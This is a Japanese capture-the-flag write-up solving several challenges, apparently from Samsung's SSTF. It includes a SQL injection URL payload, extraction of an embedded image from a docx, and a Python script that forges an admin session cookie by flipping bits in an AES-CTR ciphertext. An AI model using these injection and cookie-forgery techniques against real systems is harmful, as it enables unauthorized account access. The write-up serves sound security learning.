まずguest / guestでログインする。idxが31までは表示されているが、32以降公開されていないものがあるかもしれないので、idxに 32' or 'a'='b を指定する。URLエンコードすると、以下のURLになる。

http://yai.sstf.site/paperdetail.php?idx=32%27%20or%20%27a%27=%27b

アクセスすると、レスポンスは以下のようになった。

{"status":"Success","Title":"KingWangZzang: A super ultra great AEG(Automatic Exploit Generator) for ethical hackers.","Author":"Matta Park (Samsung Research)","Conference":"Samsung Security Wish Forum","Year":"2021","Abstract":"In this paper, we propose KingWangZzang, an AEG(automatic exploit generator) which works for all modern computer platforms. By using KingWangZzang, we can achieve world peace, hopefuuuuuuuly. Unfortunately, we cannot reveal KingWangZzang's internal structure, but this hint will help you: SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}"}
SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}

DocxArchive (Rev, Misc)

docxをzip解凍すると、word/embeddingsにoleObject1.binが展開される。

$ binwalk oleObject1.doc 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2651          0xA5B           PNG image, 298 x 24, 8-bit/color RGBA, non-interlaced
2742          0xAB6           Zlib compressed data, compressed

PNGを抽出すると、その画像にフラグが書いてあった。

SCTF{Do-y0u-kn0w-01E-4nd-3mf-forM4t?}

CUSES (Crypto, Web)

HTMLソースを見ると以下のようなコメントがある。

<!-- guest account: guest / guestpassword -->

guest / guestpasswordでログインし、[View Source]でソースを見る。

<?php

include "secret.php";    //server_secret, iv, flag

$cookie_name = "SESSION";

if (!isset($_COOKIE[$cookie_name])) {
    header('Location: /signin.php');
    exit;
}

$cipher="aes-128-ctr";
list($iv, $encrypted_session_data) = explode("|", base64_decode($_COOKIE[$cookie_name]), 2);
$session_data = openssl_decrypt($encrypted_session_data, $cipher, $server_secret, OPENSSL_RAW_DATA, $iv);
list($username, $auth_code) = explode("|", $session_data);
if ($auth_code !== $server_secret) {
    die("No hack!");
}
?>

<html>
<head>

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6" crossorigin="anonymous">

<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js" integrity="sha384-SR1sx49pcuLnqZUnnPwx6FCym0wLsk5JZuNx2bPPENzswTNFaQU1RDvt3wT4gWFG" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.min.js" integrity="sha384-j0CNLUeiqtyaRmlzUHCPZ+Gy5fQu0dQ6eZ/xAww941Ai1SxSY+0EQqNXNE6DZiVc" crossorigin="anonymous"></script>

</head>
<body>
    <div class="px-4 py-5 my-5">
        <div class="col-lg-6 mx-auto text-center">
            <p class="lead mb-4">
<?php
print("Welcome, ".$username." :)<br>");

if ($username === "admin") {
    print("Flag: ".$flag);
}else{
    print("Only admin can see the flag. Sorry.");
}
?>
        </p>
        <div>
            <button type="button" class="btn btn-success btn-sm" onclick="location.href='index.php?source';">View Source</button>

            <button type="button" class="btn btn-warning btn-sm" onclick="location.href='signin.php?logout';">Logout</button>
        </div>
    </div>
<?php

if (isset($_GET['source'])) {
    print("<hr>\n");
    highlight_file(__FILE__);
}

?>
</div>
</body>
</html>

クッキーのSESSIONの値を見ると、以下のように設定されている。

SA1p8eGFm6jgURLd%2FKxSqny%2B%2B%2BRK8Zpd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D

URLデコードする。

SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==

base64デコードする。

>>> from base64 import *
>>> b64decode('SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==')
b'H\ri\xf1\xe1\x85\x9b\xa8\xe0Q\x12\xdd\xfc\xacR\xaa|\xbe\xfb\xe4J\xf1\x9a]\xee$i6\x96\xa1\x90\xe4\xc5\xed33/\xe3]\x17\x1b\xfaU\xd9\xadA\x17\x0bI(\x8c\x06\xe3/(y\x14 \x89\x9f\x96\xdbuBC\x9a\x17J\x8e$5Ns\xa7*\x831EK\x9f\xcdn8\xb5\xa6&\xb9\xb5'

これの"|"より前16バイトがiv。その後5バイトが"guest"をAES-CTRで暗号化されている。"admin"にするためにこの5バイトを以下のように計算すればよい。

新暗号5バイト = "guest" ^ 暗号5バイト ^ "admin"

上記の計算からadminのクッキーを求める。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor
from base64 import *

cookie = b'SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ=='
session = b64decode(cookie)
iv = session.split(b'|')[0]
enc = session.split(b'|')[1]

user1 = b'guest'
user2 = b'admin'
new_enc_head = strxor(strxor(user1, enc[:5]), user2)
new_session = iv + b'|' + new_enc_head + enc[5:]
new_cookie = b64encode(new_session).decode()
print(new_cookie)

実行結果は以下の通り。

SA1p8eGFm6jgURLd/KxSqny46uxQ65pd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==

これをURLエンコードして、クッキーのSESSIONに設定する。

SA1p8eGFm6jgURLd%2FKxSqny46uxQ65pd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D

その後リロードすると、フラグが表示された。

Welcome, admin :)
Flag: SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}
SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

SCTF{7h4nk_yOu_S33_y0u_49a1n_1n_S5TF2O23}